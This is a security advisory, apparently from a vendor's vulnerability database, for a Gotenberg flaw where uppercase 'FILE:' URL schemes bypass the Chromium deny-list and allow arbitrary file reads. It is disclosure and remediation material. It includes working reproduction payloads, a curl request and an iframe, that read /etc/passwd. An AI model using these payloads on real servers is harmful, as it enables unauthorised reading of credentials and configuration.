Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-jjwv-57xh-xr6r

Gotenberg has Chromium deny-list bypass via case-insensitive URL scheme (bypass of GHSA-rh2x-ccvw-q7r3)

Also known asCVE-2026-27018GO-2026-4905
Published
Mar 30, 2026
Updated
Apr 6, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk41th percentile+0.51%
0.00%0.35%0.69%1.04%0.0%0.0%0.0%0.5%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected
🐹github.com/gotenberg/gotenberg/v8🐹github.com/gotenberg/gotenberg/v7

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The fix introduced in version 8.1.0 for GHSA-rh2x-ccvw-q7r3 (CVE-2024-21527) can be bypassed using mixed-case or uppercase URL schemes.

The default --chromium-deny-list value is ^file:(?!//\/tmp/).*. This regex is anchored to lowercase file: at the start. However, per RFC 3986 Section 3.1, URI schemes are case-insensitive. Chromium normalizes the scheme to lowercase before navigation, so a URL like FILE:///etc/passwd or File:///etc/passwd bypasses the deny-list check but still gets resolved by Chromium as file:///etc/passwd.

The root cause is in pkg/gotenberg/filter.go — the FilterDeadline function compiles the deny-list regex with regexp2.MustCompile(denied.String(), 0), where 0 means no flags (case-sensitive). Since the regex pattern itself doesn't include a (?i) flag, matching is strictly case-sensitive.

This affects both the URL endpoint and HTML conversion (via iframes, link tags, etc.).

Steps to Reproduce

  1. Start Gotenberg with default settings:
docker run --rm -p 3000:3000 gotenberg/gotenberg:8.26.0 gotenberg
  1. Read /etc/passwd via the URL endpoint using an uppercase scheme:
curl -X POST 'http://localhost:3000/forms/chromium/convert/url' \
  --form 'url=FILE:///etc/passwd' -o output.pdf
  1. Open output.pdf — it contains the contents of /etc/passwd.

  2. Alternatively, create an index.html:

<iframe src="FILE:///etc/passwd" width="100%" height="100%"></iframe>

Then convert it:

curl -X POST 'http://localhost:3000/forms/chromium/convert/html' \
  -F '[email protected]' -o output.pdf
  1. The resulting PDF contains /etc/passwd contents.

Mixed-case variants like File:, fILE:, fiLE: etc. all work as well.

Root Cause

  • pkg/modules/chromium/chromium.go defines the default deny-list as ^file:(?!//\/tmp/).*
  • pkg/gotenberg/filter.go compiles this with regexp2.MustCompile(denied.String(), 0) — flag 0 means case-sensitive
  • pkg/modules/chromium/events.go uses FilterDeadline to check intercepted request URLs against the deny-list
  • Chromium normalizes URL schemes to lowercase, so FILE:///etc/passwd becomes file:///etc/passwd after the deny-list check has already passed

Suggested Fix

Change the default deny-list regex to use a case-insensitive flag:

(?i)^file:(?!//\/tmp/).*

Or apply case-insensitive matching in FilterDeadline when compiling the regex.

Severity

This is effectively the same impact as CVE-2024-21527 — unauthenticated arbitrary file read from the Gotenberg container. An attacker can leak environment variables, configuration, credentials, and other sensitive data.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gotenberg/gotenberg/v8all versions8.29.0
🐹Gogithub.com/gotenberg/gotenberg/v7all versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/gotenberg/gotenberg/v8 to 8.29.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jjwv-57xh-xr6r is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jjwv-57xh-xr6r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jjwv-57xh-xr6r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact The fix introduced in version 8.1.0 for GHSA-rh2x-ccvw-q7r3 (CVE-2024-21527) can be bypassed using mixed-case or uppercase URL schemes. The default `--chromium-deny-list` value is `^file:(?!//\/tmp/).*`. This regex is anchored to lowercase `file:` at the start. However, per RFC 3986 Section 3.1, URI schemes are case-insensitive. Chromium normalizes the scheme to lowercase before navigation, so a URL like `FILE:///etc/passwd` or `File:///etc/passwd` bypasses the deny-list check but still gets resolved by Chromium as `file:///etc/passwd`. The root cause is in `pkg/gotenberg/filter.
O3 Security · Impact-Aware SCA

Is GHSA-jjwv-57xh-xr6r in your dependencies?

O3 detects GHSA-jjwv-57xh-xr6r across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.